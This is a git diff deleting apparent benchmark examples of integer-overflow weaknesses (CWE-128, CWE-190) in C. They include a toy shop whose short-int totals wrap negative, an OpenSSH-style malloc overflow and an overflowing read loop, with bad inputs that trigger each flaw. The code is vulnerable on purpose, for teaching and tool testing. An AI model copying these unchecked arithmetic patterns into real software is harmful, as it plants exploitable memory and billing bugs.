/dev/null @@ -1,151 +0,0 @@ -/* -@GOOD_ARGS <good.dat -@BAD_ARGS <bad.dat -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS Your credit card will be charged \$- - -bjm this example is intended to illustrate wrap around error -this an EXPLOIT that doesn't result in a buffer over flow but is very serous. - -the following is three examples from the listed site. This code was written to illustrate example 1 - -http://projects.webappsec.org/w/page/13246946/Integer-Overflows -1) When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed. - -2) Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295. - -3) A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money - from a victim's account into the attacker's. - -*/ - -#include <stdio.h> -#include <stdlib.h> -#include <ctype.h> -#ifdef ASSERT -#include <assert.h> -#include <limits.h> -#endif - -int main(int argc, char**argv) -{ - short int price1 = 10000; - short int price2 = 6000; - short int price3 = 10; - short int price4 = 1000; -/*bjm -short signed: -32768 to 32767 -short unsigned: 0 to 65535 -long signed:-2147483648 to 2147483647 (Default unless you're using DOS) -long unsigned: 0 to 4294967295 -*/ - short int selected_item, number_of_items, total_price = 0; - char *item1 = "Dumbledore's Wand"; - char *item2 = "Harry's Wand"; - char *item3 = "Snake Potion"; - char *item4 = "Flying Broom"; - char *selected_item_string = " "; - -/* display store */ -for(;;){ - printf(" Magic store \n\n\n "); - printf("Item 1. %s $=%i\n ", item1, price1); - printf("Item 2. %s $=%i\n ", item2, price2); - printf("Item 3. %s $=%i\n ", item3, price3); - printf("Item 4. %s $=%i\n\n\n ", item4, price4); - printf("Enter the number of the item you wish to purchase = "); - -//get input selected_item - selected_item = getchar(); - selected_item = selected_item - '0'; -//validate input - - if ( (0< selected_item) && (selected_item <5) ){ - break; - } - else{ - printf("\n Invalid entry actual item %i\n",selected_item); - exit(1); - } - -} - - -switch(selected_item){ - case 1: - printf("\nEnter how many %ss do you want = ",item1); - break; - case 2: - printf("\nEnter how many %ss do you want = ",item2); - break; - case 3: - printf("\nEnter how many %ss do you want = ",item3); - break; - case 4: - printf("\nEnter how many %ss do you want = ",item4); - break; - default: - printf("\nError unknown Item \n"); - break; -} -//get input number_of_items - fscanf(stdin,"%hi",&number_of_items); - printf("\n"); - -//woops I forgot to check the inventory or limit the number of items - - -/* multiply number of items * dollar value */ -switch(selected_item){ - case 1: - total_price = number_of_items * price1 ; - selected_item_string = item1; - break; - case 2: - total_price = number_of_items * price2 ; - selected_item_string = item2; - break; - case 3: - total_price = number_of_items * price3 ; - selected_item_string = item3; - break; - case 4: - total_price = number_of_items * price4 ; - selected_item_string = item4; - break; - default: - printf("Error calculating price \n"); - exit(1); - break; -} - -/* display conformation page */ - printf("\n\n Shopping Summary\n\n"); - -/* This is what is charged to your card - if it is -$ it is an exploit - credit cards will gladly go negative - */ -printf("Your credit card will be charged $%i\n\n",total_price); - -/* N items will be shiped to you - if total price is -$ n is probaly a large number of items you will sell on E-bay - */ -printf("You will be shiped %i %ss\n", number_of_items, selected_item_string); - -/* confirm purchase */ -//bjm I didn't bother with a confirmation - -//printf("Do wish to continue with the purchase Y or N \n"); -//get input -//validate Y or N - -printf("\n\nThank you for shoping at the Magic store\n\n"); -/* - charge the credit card - */ - -#ifdef ASSERT -assert( total_price >0 ); -#endif - exit(0); -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/good.dat b/examples/integerbugs/C1_Number_Handling/CWE_128/good.dat deleted file mode 100644 index 2fb73a07ec2d7b737fbb6c160ff8bc78dadb6930..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/good.dat +++ /dev/null @@ -1 +0,0 @@ -1 1 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c b/examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c deleted file mode 100644 index c65a29927d266999117aee36ad9782418be4736b..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c +++ /dev/null @@ -1,65 +0,0 @@ -/* -@GOOD_ARGS 123 -@BAD_ARGS 32767 -@ATTACK_SUCCEEDED_CODE 1 - -Wrap-around Error - -Description Summary -Wrap around errors occur whenever a value is incremented past the maximum value for its -type and therefore "wraps around" to a very small, negative, or undefined value. - -Common Consequences -Scope Effect -Availability Wrap-around errors generally lead to undefined behavior, infinite loops, - and therefore crashes. - -Integrity If the value in question is important to data (as opposed to flow), simple - data corruption has occurred. Also, if the wrap around results in other conditions - such as buffer overflows, further memory corruption may occur. - -Integrity A wrap around can sometimes trigger buffer overflows which can be used to - execute arbitrary code. This is usually outside the scope of a program's - implicit security policy. - -Background Details -Due to how addition is performed by computers, if a primitive is incremented past the -maximum value possible for its storage space, the system will not recognize this, and -therefore increment each bit as if it still had extra space. Because of how negative -numbers are represented in binary, primitives interpreted as signed may "wrap" to -very large negative values. - - -*/ - -#include <stdio.h> -#include <stdlib.h> -#ifdef ASSERT -#include <assert.h> -#include <limits.h> -#endif - -int main(int argc, char**argv) -{ - short int i = atoi(argv[1]); - - i++; - printf("%hi\n", i); - printf("%i\n", atoi(argv[1])); -#ifdef ASSERT -/*bjm -short signed: -32768 to 32767 -short unsigned: 0 to 65535 -long signed:-2147483648 to 2147483647 (Default unless you're using DOS) -long unsigned: 0 to 4294967295 -*/ -assert( (atoi(argv[1])<SHRT_MAX) && (atoi(argv[1])>SHRT_MIN-2)); -#endif -/*bjm -This may be training grace. It is also slightly wrong the assert -checks the right range of values acounting for i++ -*/ -if (i < 0) { exit(1); } - exit(0); -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx b/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx deleted file mode 100644 index 6f81e7f3cad63505f8567a5adf6ed0db353b4c2b..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id deleted file mode 100644 index 55322f91ef79446da3433e28c0c147d9ad40713e..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -387f798ca63553458caca123ad12c173ec4ceb52 \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c deleted file mode 100644 index b42f9e0c68c3e47e2bdca82cb1d1e2ffcfef7425..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c +++ /dev/null @@ -1,78 +0,0 @@ -/* -Integer Overflow or Wraparound - - -Description Summary -The software performs a calculation that can produce an integer overflow or wraparound, -when the logic assumes that the resulting value will always be larger than the original -value. This can introduce other weaknesses when the calculation is used for resource -management or execution control. - -Extended Description -An integer overflow or wraparound occurs when an integer value is incremented to a -value that is too large to store in the associated representation. When this occurs, -the value may wrap to become a very small or negative number. While this may be -intended behavior in circumstances that rely on wrapping, it can have security -consequences if the wrap is unexpected. This is especially the case if the integer -overflow can be triggered using user-supplied inputs. This becomes security-critical -when the result is used to control looping, make a security decision, or determine -the offset or size in behaviors such as memory allocation, copying, concatenation, etc. - -Common Consequences -Scope Effect -Availability Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU) - Integer overflows generally lead to undefined behavior and therefore - crashes. In the case of overflows involving loop index variables, the - likelihood of infinite loops is also high. - -Integrity Technical Impact: Modify memory - If the value in question is important to data (as opposed to flow), - simple data corruption may occur. Also, if the integer overflow results - in a buffer overflow condition, data corruption may take place. - -Access Control -Integrity Technical Impact: Execute unauthorized code or commands - Integer overflows can sometimes trigger buffer overflows which can be - used to execute arbitrary code. This is usually outside the scope of a - program's implicit security policy. - -*/ -/* -Example 1 -The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow: -(Bad Code)Example Language: C - -@BAD_ARGS -@ATTACK_SUCCEEDED_CODE 139 - -*/ - -#include <stdlib.h> -#include <stdio.h> -#ifdef ASSERT - #include <assert.h> -#endif -int packet_get_int() { return 1073741824; } -char* packet_get_string() { return "Hello World"; } - - -int main(int argc, char **argv) -{ - unsigned int nresp = packet_get_int(); - if (nresp > 0) { - unsigned bytestomalloc = nresp * sizeof(char*); - char **response = malloc(bytestomalloc); - - int i; - for (i = 0; i < nresp; i++) response[i] = packet_get_string(); - } -#ifdef ASSERT -assert( (nresp*sizeof(char*))>0 ); -#endif - exit(0); -} - -/* -If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response. -*/ - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c deleted file mode 100644 index a51d811ed14ccabac69e805ed285432ad0dbe466..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c +++ /dev/null @@ -1,80 +0,0 @@ -/* -Integer Overflow or Wraparound - - -Description Summary -The software performs a calculation that can produce an integer overflow or wraparound, -when the logic assumes that the resulting value will always be larger than the original -value. This can introduce other weaknesses when the calculation is used for resource -management or execution control. - -Extended Description -An integer overflow or wraparound occurs when an integer value is incremented to a -value that is too large to store in the associated representation. When this occurs, -the value may wrap to become a very small or negative number. While this may be -intended behavior in circumstances that rely on wrapping, it can have security -consequences if the wrap is unexpected. This is especially the case if the integer -overflow can be triggered using user-supplied inputs. This becomes security-critical -when the result is used to control looping, make a security decision, or determine -the offset or size in behaviors such as memory allocation, copying, concatenation, etc. - -Common Consequences -Scope Effect -Availability Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU) - Integer overflows generally lead to undefined behavior and therefore - crashes. In the case of overflows involving loop index variables, the - likelihood of infinite loops is also high. - -Integrity Technical Impact: Modify memory - If the value in question is important to data (as opposed to flow), - simple data corruption may occur. Also, if the integer overflow results - in a buffer overflow condition, data corruption may take place. - -Access Control -Integrity Technical Impact: Execute unauthorized code or commands - Integer overflows can sometimes trigger buffer overflows which can be - used to execute arbitrary code. This is usually outside the scope of a - program's implicit security policy. - -Example 2 -Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior: -(Bad Code)Example Language: C - -@GOOD_ARGS 100 <Example2_good.txt -@BAD_ARGS 32767 <Example2_bad.txt -@ATTACK_SUCCEEDED_CODE 1 -*/ - -#include <stdio.h> -#include <string.h> -#include <stdlib.h> - -short int getFromInput(char* buf) -{ - scanf("%s\n", buf); - return strlen(buf); -} - -#define SOMEBIGNUM 100000 -void doit(int MAXGET) -{ - short int bytesRec = 0; - char buf[SOMEBIGNUM]; - int count = 0; - - while(bytesRec < MAXGET) { - bytesRec += getFromInput(buf+bytesRec); - if (count++ > 10000) { exit(1); } - } -} - -int main(int argc, char **argv) -{ - doit(atoi(argv[1])); - exit(0); -} - -/* -In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf. - -*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt deleted file mode 100644 index 486393c9443e9fb3e0b234e3dc699d6a04792eca..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt +++ /dev/null @@ -1,401 +0,0 @@ -400 lines of 100 - more than 32767 -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 